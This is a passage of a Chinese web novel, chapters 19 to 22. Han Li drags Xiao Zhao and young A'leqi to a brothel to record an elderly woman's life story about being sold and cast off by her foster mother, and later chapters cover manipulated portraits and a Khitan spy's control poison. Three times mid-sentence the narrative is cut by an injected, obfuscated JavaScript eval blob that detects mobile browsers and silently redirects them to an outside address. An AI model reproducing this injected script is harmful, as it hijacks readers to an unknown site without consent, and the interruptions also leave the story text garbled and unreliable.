皇帝准放他些许自由,除了有时要完成皇室的密令,其他的,他都可随心去做。 这是去北境之前,他和皇帝谈的条件。 回到京都后,他再次进宫到长奉殿看望长公主。 “听皇帝说,你立了一件大功。”长公主冷笑着。 韩厉跪下:“殿下,臣最后一次来长奉宫了,今日之后,你我再也无需相见了。” “你有什么想问的便问了吧。” “臣这些年来只有一事想问,臣的生母把臣送给殿下时,可有嘱咐过什么?” 长公主诧异,没想到居然是这个问题。 “那无名氏曾说,与其你跟着他们一起种地吃苦,不如跟着本宫享受荣华富贵,那妇人希望你做一个知书达理的读书人。” “她希望你这辈子平安顺遂,多读点书,其他的,什么都不要管,什么苦都不要吃。” 19.青楼梦好 接连熬了几个大夜后,韩厉再也撑不住了,看来写书不是一己之力,一日之功,他决定,要抓几个不要钱的壮丁来。 韩厉到质子府的时候,正看见萧照悬腕习字,心中暗骂:“他娘的,居然比我还用功。” 面上却佯作敬畏,“萧兄的字遒劲无比,尤其是这楷书,有颜氏风范。” 萧照继续低头习字,不理睬韩厉,心知这家伙城府极深,向来憋不出什么好屁。 韩厉对此倒是丝毫不觉尴尬,继续说道:“萧兄的字一向规规矩矩,为人也滴水不漏,甚是无趣,倒不如和我一同流连烟花,牡丹花下春风沉醉如何?” 萧照的手一抖,字也被墨点污染了。 这个韩厉,自己想去青楼就罢了,还要把我也拉进去,甚是无耻。 韩厉最善察言观色,一看萧照的表情就知道这家伙肯定是想入非非了,真是以己度人,小人之心。 “萧兄想到哪里去了,咱们去青楼是有正事要办的,况且,眠花宿柳比楷书更易藏拙。” 萧照抬起头来,只见韩厉正笑眯眯地盯着他方才所写之字。 “韩兄误会了,我只醉心诗书,潜心研读,对世间其他诸事并无意。” 韩厉一边在心里呸了一口,一边快速想好了对策。 “萧兄有所不知,要想真正学会大渊的儒、道、佛,就得先学会吃,喝,嫖,赌。” “韩兄大抵是夜夜眠花宿柳,脑子里染上花柳病了吧,不然,光天化日朗朗乾坤,怎能说此胡话。” 萧照见韩厉眼下乌青,血丝连连,脸色惨白,心中不由得怀疑,这小子,究竟放纵了几个晚上,虚脱成这样。 “非也,非也,大渊的儒、道、佛不过是愚民而已,看似是百花齐放,开了民智,实则只是将天下万民的思想汇到这三家,使百姓归一,便于驱使管教。” “这些不过是治民之术而已,你想学,就得先懂民心,只有懂了民心,才能驾驭民心,拿捏住他们,届时,便自然而然顿悟了儒、道、佛。” “要想真正了解人心,就得跟我一起去秦楚楼馆,那里的姑娘入穷巷,受苦难,故能吐真言,诉衷肠,见人心。” 这句话说完,韩厉终于图穷匕见了,原来这小子东拉西扯了半天是要拉萧照一起去听青楼姑娘的失意事。 可是真正让萧照不寒而栗的却是韩厉对于儒、道、佛的解读,他想起楼景谦酒醉之时也曾说过类似的话。 或许,这些东西,大渊所有的文人都知道,只是他们平日不敢言说罢了。 可见,这些话在大渊文人心里早已按捺良久,楼景谦借着酒醉才敢吐露一二,韩厉在游说自己去青楼时才无意流露出来。 大渊必亡,且必亡于内。 萧照很好地掩饰了自己的震撼之情,装作不解:“可楼景谦先生,李苍雪先生他们这样的文坛大家,可从未做过什么放浪之事,依旧是一代大儒。” “两位先生数十年苦读,人家是一辈子专心做学问,你十七岁才开始认字,他们的道,你怎么能学?” “可你韩厉之前也是这般严于律己,寒窗苦读。” “我韩厉天资聪颖,才思敏捷,乃是百年难得一遇的奇才,这你怎么能学。不过,倒是可以给我做个抄书师爷。” 萧照:??? 从未见过如此厚颜无耻之人。 “萧兄,别想了,天色渐晚,赶紧走吧,一会人多了花月楼该排不上号了。”韩厉带好了笔墨纸砚,拉着萧照便要出门。 萧照:你倒是懂得挺多。 萧照挣脱掉韩厉,说道:“我可以跟你去,但是要带上阿勒齐。” “啊?他还小啊,能带他去吗?” “他要保护我。”萧照耳朵有些发红,没想到自己不怕沙场作战,却怕到这种地方。 “还有,虽然他年纪最小,但是他懂得比你我都多。” 阿勒齐就这样被两位架着来到了花月楼,他怎么都不敢相信,一路上两位公子都在聊着他听不懂的君子儒,怎么聊着聊着还聊到青楼里来了。 一进去,周围的漂亮姐姐都围着阿勒齐打转,眼睛直勾勾地盯着他。 “哟哟哟,谁家的毛头孩子进来了。” “要不姐姐来带你见识见识……,不要银子。” “好鲜嫩的男子啊,许久未见这种成色了。”青楼里的姑娘们尖着嗓子,大声调戏着。 “世子,我害怕……,感觉她们好像要吃了我。” 韩厉对着萧照一脸不耐烦,“都说了不要带阿勒齐来,这里的姑娘最欢喜未经世事的处男,你把阿勒齐送进来,真是羊入狼窝。” 阿勒齐惊魂未定。 韩厉看着阿勒齐害怕的样子,在他耳边悄悄说:“我刚刚是逗你家世子的,放心,别处的姑娘是以清冷自持来保全自己,而这里的姑娘却以风骚放浪来保护自己。” “阿勒齐,你看周围的姐姐们,表面上她们对你虎视眈眈,垂涎三尺,实则身处青楼,身不由己,只能佯狂避祸,在这里,举止越轻浮放浪,男人越是不喜,她们也能少受点罪。” “阿勒齐,你和这些姐姐们问问好,她们不会伤害你的。“韩厉继续安抚道。 阿勒齐闻言,便和这些姐姐们依次问好,在一旁看客眼里是幼子误入歧途,羔羊入狼窝,这小子后半生八成是废了。 可实际上,等阿勒齐走到她们身边,那些姑娘只是悄悄说了些“小兄弟多大了”,“天冷,以后还是少来这些地方。”“谁带你来的,回家告诉你家大人,让你家大人把带你来的人的腿打折。” “赶快回去吧,这不是你该来的地方。” 有位姐姐还给了阿勒齐几颗饴糖,阿勒齐尝了尝,甜丝丝的。 阿勒齐也给了那位姐姐几块龙井茶糕,半个时辰前刚从杏花徐记偷来的,放在怀里,还热乎着呢。 可那位姐姐吃着吃着却哭了,赶紧用衣袖遮脸。 “姐姐,不好吃吗?” “没事,只是想起了小时候我娘也常常给我买糕点吃。” 萧照在一旁静静地看着韩厉和阿勒齐的胡闹,心道,这韩厉心机真是深不可测,不知道说了些什么,居然就这么轻而易举地把阿勒齐拉下水了。 萧照韩厉一行人来到了楼上一间雅室,先是点了些茶水。 良久,一位老鸨施施然走了过来,用手帕捂嘴笑道:“瞧瞧哎,这三位少年郎多英俊啊,玉树临风,怕不用来此这都有不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823934|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子上赶着投怀送抱吧。” “是哪家的姑娘命那么好,得三位贵人亲眼,我这就去叫。” 没想到,韩厉第一句话却是:“敢问鸨母,可否开个条子,我好回去找我家主人报销差旅。” 老鸨:??? 你可真是难住我了,大白天见鬼了,居然有嫖客要报销条子,我这青楼的官府凭书都是假的,上哪给你开条子。 韩厉看出了她的为难,告知她:“你这楼中可有官府之人宿在此中啊?” “多得是。” “随便找一个官府中人伪造便可,他们于此轻车熟路。对了,多报些。” 萧照和阿勒齐见此,甚是无语,他们可不想有任何白纸黑字上写着 “某年某月某日,韩厉,萧照,阿勒齐,于花月楼花费纹银共计XXX两。” 想想都够丢人。 “那三位贵人看上了我们这的哪位姑娘了。” 韩厉想了想:“挑三位年纪最大的过来。” 老鸨瞬间花容失色,“不可不可,三位贵人英俊潇洒,怎可点那些掉牙老物,我们这年纪最大的可都有七十一了,素日里也只有穿麻布短衣的老农来点。” 韩厉闻此,双眼放光:“都七十一了!甚好甚好,人生之广博,可以想象。真是踏破铁鞋无觅处,得来全不费工夫,快快快,快快有请。” 老鸨:??? 这年头,青楼生意真不好做啊,一年三百六十五日,日日都能遇到怪癖邪门之人,还不带重样。 萧照和阿勒齐在一旁都想把方才喝的茶水给吐出来了,这一切都太恶心。 老妇人一进到韩厉等人的雅间,便自顾自地宽衣解带,视三人为无物。 韩厉,萧照急忙拦住,双方一时拉拉扯扯,看得阿勒齐目瞪口呆。 没办法了,韩厉答道:“我三人皆是读书人,都不举。” 老妇人不敢置信:“小兄弟这么年轻就已经……” 萧照:??? 阿勒齐:??? 你瞅瞅你说的是人话吗? 韩厉安抚好老妇人后,转过头来盯着二人,小声说道:“在青楼,明明只需说自己不举便能省掉很多麻烦,何乐而不为啊,不说的才是真蠢人。” 萧照:苍天啊,你是怎么生养出韩厉这等怪胎。 老妇人一脸“我懂,我懂”的表情,还苦口婆心地劝道:“几位少年莫要苦读,久坐易萎,得不偿失。” 闻言,萧照一口茶水还未咽下,便喷到宣纸上。 韩厉看了那宣纸两眼,心疼了两瞬,这可是徽州上好的宣纸啊! 阿勒齐头一次后悔偷糕点吃,现在只能忍住不呕出来。 韩厉告诉老妇人,他要写一部《京都女子实录》,请老妇人讲述平生种种。 萧照,阿勒齐:??? 这七十一的老妇人,叫什么?女子?七十一的女子? 老妇人怅然:“老身我这一生睡人无数,上至王公贵族,下至乞丐老农,不知公子要听哪一个啊?” “听让你最痛的那一段。” 韩厉似乎又觉得不妥,随即补充道:“只是心里最痛的那段。其他的不要说。萧兄,你代为记录一下。” 20.养母 老妇人还未开口就已经哭了好半天,断断续续话也说不了一句,阿勒齐在一旁都快把砚台磨出了火星子,萧照等得毛笔都要干了。 韩厉在老妇人身边耐心安抚。大概这辈子的泪都已哭干了,老妇人才终于开口说话。 “我是三岁就被卖到花月楼的。”老妇人边擦眼泪边说话。 “可还记得家中父母,兄弟姐妹。” “一点也记不得了,听花月楼的老姐姐们说过,我亲爹嫌弃我是个女娃娃,本来一出生就要把我给掐死,我亲娘把我爹拦下来了,说,女娃娃又吃不了几口饭,养着就养着呗,反正也不影响再要一个。” 萧照将老妇人的一言一行都记录下来。 韩厉继续问道:“那为什么后来又反悔了,把您给卖了。” “养到三岁,才发现养孩子不是那么容易,不仅多一张嘴,还干不了什么重活,我亲娘这才意识到自己当初想得有多简单,便后悔了,想把我送人。结果我爹不愿意,说可不能白白养了三年,还是卖给人牙子比较好。” “这么小,青楼怎么会要?” “青楼里的鸨母觉得日子孤单,就想讨个闺女来养,日后好给她养老送终。可寻常人家哪舍得将女儿送到青楼啊,寻了好几日无果,妈妈就从人牙子那买了我。” “鸨母对你好吗?” “起初那几年对我是真好啊,妈妈是真把我当亲闺女疼,给我买各种穿的吃的,也不让我端茶倒水,衣来伸手饭来张口,那日子过得像个官家小姐。” 老妇人想了想,又重重叹了口气:“如今老了回过头想想,那几年真是这辈子最好的几年光景了。绫罗绸缎穿着,山珍海味吃着,哪像现在啊!” “为什么鸨母之后对你又不好了。” “十三岁那年,楼里的几个老姐姐想赎身,让我去偷卖身契,只要我去偷,她们就告诉我我亲爹亲娘在哪。” “所以那天,我就偷偷跑到妈妈的房里去偷卖身契,撬了半天的锁,终于打开了,结果却发现妈妈的百宝箱里面都是空的。” “当时我就奇了怪了,妈妈这些年挣了那么多银子,置办了那么多铺子田产,都去哪了。” “我又在妈妈的屋里找了半天,也啥都没找到。只得和老姐姐们实话实说。那些老姐姐们听了也不意外,倒像是早就认命了,能偷到自然是好的,偷不到就算了。” “老姐姐们最后还是帮我问了问人牙子,告诉我亲爹亲娘在哪。” “所以你就离开了花月楼去找你亲生父母了。” “是啊,我收拾好东西,连夜就跑了。走了七八十里路,才找到我那个家,一到家门,我就给爹娘跪下磕头了,心里想着,见面多磕几个响头多叫几声爹娘,他们总该会喜欢我吧。” “可你的亲生父母并没有留下你,对吗?” “可不是吗?明明是他们对不起我,反而还嫌我不干净,要赶我出去。” “你的生母怎么说?”韩厉似乎对老妇人的亲生母亲更感兴趣。萧照在心里默默记下这个细节。 “她说,儿啊,青楼纵有千般不好,但是你在那至少能吃饱穿暖,好好活着,活着比啥都强。我知道,我亲娘也不要我了,她分明是在赶我走。” 萧照观察到韩厉神色有异,心中不免猜测连连,难道他也曾有过这样辛酸的经历? “后来呢,你回到花月楼又发生了什么。” “回去后,妈妈也不要我了,她说我就是喂不熟的狗,养不熟的狼,要我有何用?” “几位老姐姐在一旁也为我求情,说哪怕是狗,好歹也养了那么多年,不要了就太可惜了。” “可是妈妈特别狠心,居然说,不要了再买一条便是,你们也别舍不得,还会有新的来。” 阿勒齐不敢置信,忍不住“啊?”了一下,不是说之前被当作女儿养的吗?怎么翻脸不认人。 萧照倒是面无表情地记录这些琐事,想着早点记完,早点回去。 韩厉面上波澜不惊,他丝毫不意外,养子终究只是养子,和衣裳一样,随时可弃。 “有位老姐姐在妈妈面前跪下替我求情,说我再不济,也可以在楼里当个丫鬟,端茶倒水,给妈妈捶背捏肩,做饭缝洗,什么杂活都可以干。可不能赶出去啊,从青楼里出去的姑娘,在外头是活不下去的。” “正好那时楼里又缺丫鬟,这才好不容易把我留下来。” “从被捧在手心里当女儿养,到各种脏活累活都要干的丫鬟,云泥之别,你不恨那位鸨母吗?” 老妇人想了半天,也没回答,恨,不恨?或许这一辈子也没想过这个问题,或许她自己也不确定这个问题的答案。 听到韩厉这么问,萧照停下抄录的手,抬起头来,暗暗观察韩厉的神色,他今日似乎有些不太对劲,为何对这位老妇平平无奇的幼年经历如此感兴趣? 不就是先被亲生父母卖了,后被养母舍弃,这样的事普通百姓家多了去了,要是一个个明其缘由,那这本书写上一辈子都写不完。 阿勒齐看着左右两个人,一个在步步逼问,一个在奋笔疾书,长生天啊,这两个人的心是铁做的吗? 阿勒齐看不下去了,给老妇人递上手帕,倒了点热茶,“老人家,别着急,喝口茶水再说吧。” 老妇慌忙站起来,赶紧弯腰接过茶水和帕子:“这位公子,这可使不得,使不得。” “你不恨那位鸨母吗?”韩厉依旧不依不饶。 “心里怨过,但是没恨过,这世上,她已经算是对我最好的人了,何况,只是让当丫鬟而已,她可从未让我接过客,这已然是天大的恩典了。要说恨什么,就只能恨自己命苦了。” “后来呢?” “后来就在楼里当个丫鬟,一干就十几年,白天洗衣做饭,端茶倒水,晚上端屎倒尿,伺候妈妈起夜。” “难道没有想过要嫁个良人吗?” “想过,也曾有一个相好的,那郎君答应过要娶我,只是最后我还是不愿离开,那时妈妈年纪大了,身体也越来越不好,我走了,谁来伺候妈妈呢?毕竟,妈妈当年买我就是图我给能她养老送终。“ “既然当年她都能轻而易举舍弃你,你自是可以随时离开的,你不想离开她,是因为在你心里早已把她当成了母亲。你不愿看着她孤独终老。” 老妇人惊讶:“韩公子,你又是如何得知,在我心里,确实早已把妈妈当成亲生母亲了,无论她如何使唤我,我都会好好孝顺她。只是后来才知,是我自作多情了,是故这些话,老身这一辈子都没敢和外人提起过。” 萧照:???阿勒齐:??? 两人纷纷不解,这韩厉怎么如此聪慧,这都能猜出来,不是,真有女子会把老鸨当作亲生母亲照料吗?这也太匪夷所思了。 可韩厉怎会猜不到呢?当年在北境明明有能力远走高飞,却偏偏又回到了大渊这座粪坑,卑微如尘土,扭曲如蛆虫,还不是放心不下养母长公主。 韩厉转过头来看了看同在粪坑里的萧照和阿勒齐,他们俩在大渊佯装读书人的样子,可真像蛆啊! 老妇人继续自顾自地说:“妈妈最后那几年卧病在床,都是我一个人照料的,既要侍奉汤药照顾起居,又要帮忙打理着楼里的生意。” 阿勒齐有感而发:“伺候人本就是个精细活慢工活,还要打理青楼,这得多累啊。” “那时候一点也不觉得累,心里倒是成日里欢喜得很,只有在那个时候,妈妈对我才那么温柔,嘘寒问暖,关心备至,一刻也不愿离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832467|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。我们俩夜里还时常一起说悄悄话。” “那只是因为她老了。”韩厉冷冷道。 萧照这会也于心不忍了,瞪了一眼韩厉,韩兄,少说一句话能死吗? 老妇人一脸怀念:“那时候的日子真好啊,我和妈妈是真亲啊,亲到楼里的老姐姐们都把我和妈妈当成母女了,她们私下闲聊,都觉得妈妈会把这花月楼传给我。” “妈妈临终的那几日,嘴里一直念叨着,我的女儿来了没?我就一直握着她的手,答道,妈妈,我在,我在。她最后走得很安详。” 韩厉丝毫不关心那位鸨母的生死,直接打断她,问道:“那花月楼最后传给了谁?” “妈妈死后没几天,有一个戴着斗笠衣着阔绰的夫人来到云月楼,我看不见她的脸,她说,她是妈妈的亲生女儿。” 萧照和阿勒齐一脸惊讶,没想到那老鸨藏得挺深啊,不声不响冒出了一个亲生女儿。 “起初我们谁都不相信,毕竟妈妈从未说过她有过什么一儿半女,可那位夫人竟能拿出花月楼的地契和我们所有姐妹的卖身契,人契地契官府文书一应俱全。” “那位夫人的出现一下子解了我多年来的疑惑,难怪当年怎么找也找不到那些卖身契,原来妈妈把所有的家当和卖身契都早已传给了自己的亲生女儿。” “那位夫人没有把卖身契还给你们吗?”萧照忍不住问道。 “自是没有,那位夫人非常不喜花月楼,那天来花月楼就是早已找好了买家,把花月楼和我们这些人连同卖身契一并交割过去。 “她走得很着急,妈妈尸骨未寒,我请她在妈妈的牌位前上柱香再走,她看也不看就走了,那天,我在花月楼门前一直看着那位夫人的背影,你们说,她怎么那么狠心,连个头也不回呢?” “花月楼换了新东家后,我也得开始接客,一眨眼,就几十年过去了。人也老了,我现在岁数都比妈妈还要大上十几岁呢。“ 韩厉笑道:“她这一辈子可以有很多姑娘和女儿,可到头来,最疼的还是自己亲生的。” 韩厉想起长公主临终前,想见的也不是他这个养子,而是太子殿下,是啊,既然没有亲生的孩子,那就只能见血脉相连的侄子。 “可妈妈明明已经有亲生女儿了,为什么又要把我买下来?我这辈子,活得人不像人,鬼不像鬼,干什么都是自己一厢情愿,让人活笑掉大牙。” “你之后没有想过离开青楼去成个家,好歹有一个自己的家吗?” “这辈子被亲人所累,已经够痛的了,老身不想再这样被骗第二次,没有亲人也挺好的,妈妈倒是有亲人,有亲生女儿,一辈子辛辛苦苦赚了那么多钱,最后不也没落得什么好。” “老人家,你和那位鸨母不算是亲人,她只是借您表露思女之情,而您终生把对母亲的渴望寄托在一手抚养你长大的鸨母身上,到最后已经分不清真情假意了,你们只是彼此的帷幔。”“ “韩公子,你们读书人好狠的心啊,真情如何,假意如何,血脉相连真有那么重要吗?” 韩厉没有回答,只是从袖中掏出一块成色较好的墨玉,递给老人家。 “老人家,这块墨玉价值千金,你把它当了,离开青楼,回去置办个几间屋子,好好安享晚年吧。” 大悲又迎来大喜,老妇人一下子晕了过去,手里还死死攥着那块玉。 阿勒齐眼睛都瞪得圆圆:“韩公子,你也可以这样拿钱把我砸晕吗?我阿勒齐肚子里也有好多故事,可以讲上三天三夜。” 萧照低头不语,手上整理着文稿,心里却在想,韩厉,今日你破绽百出,如此失态,你的生母是谁,养母又会是谁呢? 那块墨玉一看就是宫里的东西,你身上究竟有什么秘密? 21.这猪头是谁啊 萧照从应天府书院抱来了七八幅卷轴,阿勒齐一脸好奇地迎了上来。 “世子,这次又顺了点什么好东西来,值多少钱啊?” 萧照取笑道:“怎么,现在不说是一堆废纸了,知道是好东西了,阿勒齐跟在本世子身边久了,居然也开始识货了。” 阿勒齐想起前几日和京都盗盟的兄弟一起出去玩,被骂得狗血淋头。 “什么,阿勒齐,你说你到过太傅府的库房,可有顺点什么东西出来。” 阿勒齐摆摆手,“什么东西都没有,都是一些破书破画,当手纸用我都嫌硌腚,一点金银细软都没有。” 周围的兄弟立马围了过来,把手放在了阿勒齐肩膀上,急切地问:“你看到啥画了,快给兄弟们说来听听。” “就是一些黄黄的旧画,皱巴巴的,太傅还非让我们看,里面就是一些大山大水,也没有美人,有啥好看的。” “可有什么印章?” “多了去了,大大小小的得有几十个,也不知道谁这么童心未泯,乱盖印。” “太傅可有说是哪家名作。” “说了,我给忘了,好像是前朝的人画的,反正都死了好几百年了,记他有何用。” 众位兄弟心口在渗血,哀嚎道:“阿勒齐,这你居然都不偷,你可真是个蠢货,可蠢死兄弟们了。” 阿勒齐不解:“不是我说,哥哥们,咱平时偷点金银珠宝也就罢了,连几张破纸都偷这也太饥不择食了吧。” “阿勒齐,太傅收藏的前朝古画,随便偷一个拿到黑市里卖的钱都能买十个质子宅了。” 阿勒齐惊呆了下巴:“多少,你说多少?” “阿勒齐啊,阿勒齐啊,你不会以为这个天下只有金子和银子才值钱吧!皇帝是用金锄头种地的吧!” 另一盗盟兄弟感叹道:“上个像你这么不识货的还是那群只买锦盒,把锦盒里的珍珠又还给店主的蠢货,他们现在已经名垂青史了,阿勒齐,没准下一个就是你。” 阿勒齐痛心疾首了好半天,以后再见到字画,都恨不得拜一拜。 话说回来,这次阿勒齐反复地盯着这几幅画也没看出什么名堂,什么印章也没有,画纸也不黄(盗盟的兄弟们教过,越黄越贵,印章越多越贵),看了半天,脑袋晕晕乎乎。 萧照问道:“阿勒齐,看了半天,可有看出什么名堂?” “没有,画的都是一群丑八怪,还没菜市口的猪头好看。” 萧照指了指其中一幅人像画,问道:“这画中人你可认得出?” 阿勒齐看了半天,试探性说道:“大饼脸,小眼睛,牛鼻孔,豁嘴,顺风耳,这不会是菜市口的李屠夫吧。“ “这画中人是我阿达,喀沁大汗。”萧照无奈摇了摇头。 “什么,什么,这猪头居然是大,大,大汗,我们喀沁的部族首领,世子的阿达,这,这。” 阿勒齐一脸不可思议,又仔细看了看画像,就差把眼珠子扣下来放到画上了。 萧照解释道:“这些都是大渊公开的外族首领的画像,那几幅分别是前契丹王和现契丹王,北羌王,你可看出来什么了。” 阿勒齐脑袋晕乎乎:“那,那,那几个猪头居然是赫赫有名的契丹王和北羌王,我还以为是哪里的猪妖成精了。” 萧照又从袖子里掏出一副画像,徐徐展开,奇怪的是,这幅画里的男子人像英俊潇洒,玉树临风。 “这是谁家的少年郎啊,不会是邻家姐姐们常说的潘安吧,世子,您真好,看了几张丑画,终于给看一张好的洗洗眼睛了。” “这是大渊皇帝的像,我记得当年来京都时,你也随我一起拜见过大渊皇帝,对他可有印象?” 阿勒齐彷佛石化了,他很难将脑海里那个满脸横肉,脸上的褶子都能夹死苍蝇,肚子上的肥肉都能当女子衣裙穿了,走起路来身上的肉一颤一颤的大渊皇帝和画中的美男子联想到一起。 “世子,我阿勒齐蠢,但是不瞎,你说画上的那几个猪头是大汗和契丹王,那个美男子是大渊皇帝,这,你打死我我也认不出来。” 毕竟,阿勒齐又不是没见过喀沁大汗,虽说没达到貌若潘安的地步,但也是身长九尺,气宇轩昂,不怒自威,长相也算是人群里的佼佼者。 怎么,就成了画里的猪头了。 萧照解释道:“大渊的画师,对于外族之王,自然是能多丑化便多丑化,恨不得百姓一见到画像就恶心地往上吐口痰,可是,对于自己的皇帝,只能是能画得有多英俊便有多英俊,生怕哪天陛下看到画像一生气,将整个画院统统拖出去诛九族。” “可是我们喀沁早已俯首称臣了,您也都来京都当质子了,怎么还这么丑化我们。” “你是第一天来到大渊吗?他们一向如此,对外挑拨离间四处树敌,对内煽动百姓以身殉国,收紧舆情,思想钳制,驯化百姓。” “这也太不要脸了。” “真正的读书人,就是不要脸,阿勒齐,你知道为什么你的文章一直写不好吗?楼先生给你布置的功课你一个时辰都憋不出来一个字吗?” “因为我蠢吗?”阿勒齐满脸天真,丝毫不觉得愚蠢是什么值得羞耻的事。 “因为你从小到大都不会说谎,心里想着什么就直接说什么,而我,这辈子一直在想如何说谎,如履薄冰,想别人所想,说别人所愿,在心里反复琢磨修改,话怎么说得漂亮,怎么让人信服,如何选词,如何置句,所以,写文章于我从来不是什么难事。” 阿勒齐在心里吐了个大大的舌头,世子,您成天说谎,这怎么还骄傲上了。 “那世子,您今天拿这些画像来是什么意思?” “我只是在想,韩厉的身世一定有问题,一方面和大渊皇室走得如此之近,一方面又文韬武略样样精通却从不考虑入仕做官,见人说人话,见鬼说鬼话,如此玲珑之人,怕也是个质子。” “怎么可能,这也太匪夷所思了,谁家质子还藏着掖着啊?” “还记得前段时间花月楼之行吗?韩厉似乎对那位老妇人的生母格外感兴趣,这些时日,我一直帮他编著《京都女子实录》,我发现,他以编书之名,暗中探查寻找生母。” “对啊,我想起来了,他总是对谁家丢弃□□格外感兴趣,我还以为他是心疼那些女子呢。” “或许,他对自己的身世也一知半解。” 萧照想了想,继续说道。 “你我这样的外族人看到这些画像定是会大吃一惊,知晓这些完全是胡画的,可若是在大渊土生土长的人,看多了这些画像,自然而然会以为那些外族之王就是如此,自然也不会怀疑自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837659|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他们有所关系。” 良久,萧照写了一封密信,让阿勒齐密送到城外。 “世子,不是说城外那个地方不到关键时刻不能联系吗?我们在大渊可就这一个暗桩,要是被发现可就什么都没了。” “现在就是关键时刻。” “世子,咱要是缺钱了我可以去偷,现在正是天寒地冻,一年中草原最难熬的时候,族人也不好过冬,拿不出什么余钱余粮。” 萧照:??? 你以为我写信回去是要钱的吗?我是这种败家子吗? “那世子您为什么突然要写信给喀沁啊?” “你我这辈子又没见过真正的契丹王和北羌王,京都里更没有人见过,可是阿达戎马一生,和他们都交过手,自然是知道他们的样子,我写信是为了这个。” “世子,你和韩厉这不都过得好好的,查人家身世干什么,万一查出来韩厉他是大汗的私生子怎么办?” “那岂不是天助我也,若他真是我同父异母的亲兄弟,以我二人的才能,若是联手,定能将大渊搅得天翻地覆。” 阿勒齐:??? 这世上怎么会有人希望自己的爹在外面有野孩子,看不懂,想不通。 救命啊,一个世子都够我阿勒齐折腾的了,要是再来一个韩厉,那还不如直接把我杀了。 转眼又一个多月过去了,《京都女子实录》已撰写完毕,皇后娘娘花了一整个晚上看完了所有底稿,痛哭了一场,一连好几日都吃不下饭。 而编纂此书的三位男子,韩厉,萧照,阿勒齐,却心思各异。 韩厉借着写书之名,四处暗访调查,天子脚下,畅行无阻,各地卷宗,皆可调阅查看,明写书,暗寻生母。 萧照则是借着写书之名,四处收买人心,渐渐地,他发现,当女子一旦走进穷途中,束手无策痛苦不堪时,这个时候只要有人愿意略施以援手,那她们此生都会听从他的命令,哪怕不要命了,也会誓死跟随他,这就是儒家驯化千年的女子。 不要小看这些从秦楚楼馆,穷乡僻壤里出来的苦命女子,这些人越困苦,就越是效忠萧照,她们以萧照为神,为他潜入各个王侯之家,为他四处收集情报,为他卖命。这些女子,最为柔弱,却在大渊建立了最坚不可摧的谍网。 后来,当萧照真正意识到自己一直在利用不该利用的人时,他已失去得无可失去,当他以为掌握他人生杀予夺的命运时,他自己的命运,早已在彼岸等候他多时了,而他,也要用尽余生去偿还。 阿勒齐是三人中最心善的,却也借着写书掩人耳目,常到城外和喀沁暗桩联系。 天下之大,最先为这些苦命女子哭泣的居然是大渊地位最为尊贵的女子,也只有皇后娘娘力排众议,怒斥群臣,势必要将此书推行于天下。 而此书的三位作者,皆不愿署名,最后,皇后娘娘向天下人宣称,作《京都女子实录》者,为无名氏。 怪哉怪哉,书中所记女子皆是无名氏,作此书者也皆是无名氏。 民间有女子为此书编了个歌谣: 无名氏啊无名氏,天下人都不识你,你可会痛? 无名氏啊无名氏,我为你鸣不平,却发现我本就在书中,我即是无名氏。 无名氏啊无名氏,天下谁人又何尝不是无名氏。 22.上瘾 鲤儿被关在一处暗室,暗室里伸手不见五指,不知时间,不知昼夜。 心中突然一阵剧痛,好半天都喘不出一口气,鲤儿终于推算出了时间,这是她被关在暗室的第三天。 因为,体内的败骨毒发作了,这种毒每隔半月发作一次。 身为契丹探子,每人自幼便被喂下败骨毒,此毒,天下无解。 败骨毒每半月发作一次,一发作,先是万箭穿心之痛,后是白蚁噬骨之痛,让人求生不得,求死不能。 此毒虽无解,契丹王室却研制出了一种压抑此毒发作的解药,只需每半月服用一次,便不会有毒发时的痛苦。 契丹王室以此毒控制探子,重臣,良将,使得他们不敢有二心。 鲤儿掏出怀中的药瓶,败骨毒的解药每人每半月只得一粒,可她足足攒了一整瓶。 第一次生生扛过这种万箭穿心,白蚁噬骨之痛时,她很开心,自以为圆满,在心里告诉自己,她可以不受任何人控制,她的命掌握在自己手里。 第一次杀人时,她很害怕,回去师父却告诉她,若是害怕,就把那个人剁成肉酱喂狗就行了,以后它便再也不会折磨你的心。 是故她又折返而归,将那人的尸骨挖了出来,那人的肉身已腐败不堪,蛆虫在他身上跳来跳去,那似乎成为一种警示,她告诫自己,这个世道,就是你死我活,永远不要心慈手软。 第一次伏击敌人时,她躺在山林里睡着了,师父将一炷线香缠在她手心,告诫她,每次只能睡一炷香时间,当香燃到指尖时便要立刻醒来查探周围。 她却渐渐喜欢上香烧到手指的感觉,即使没有任务在外待命时,她都会在手上点一只香。 有一次,师父无意发现她把手心放在烛火上炙烤把玩,顿觉毛骨悚然。 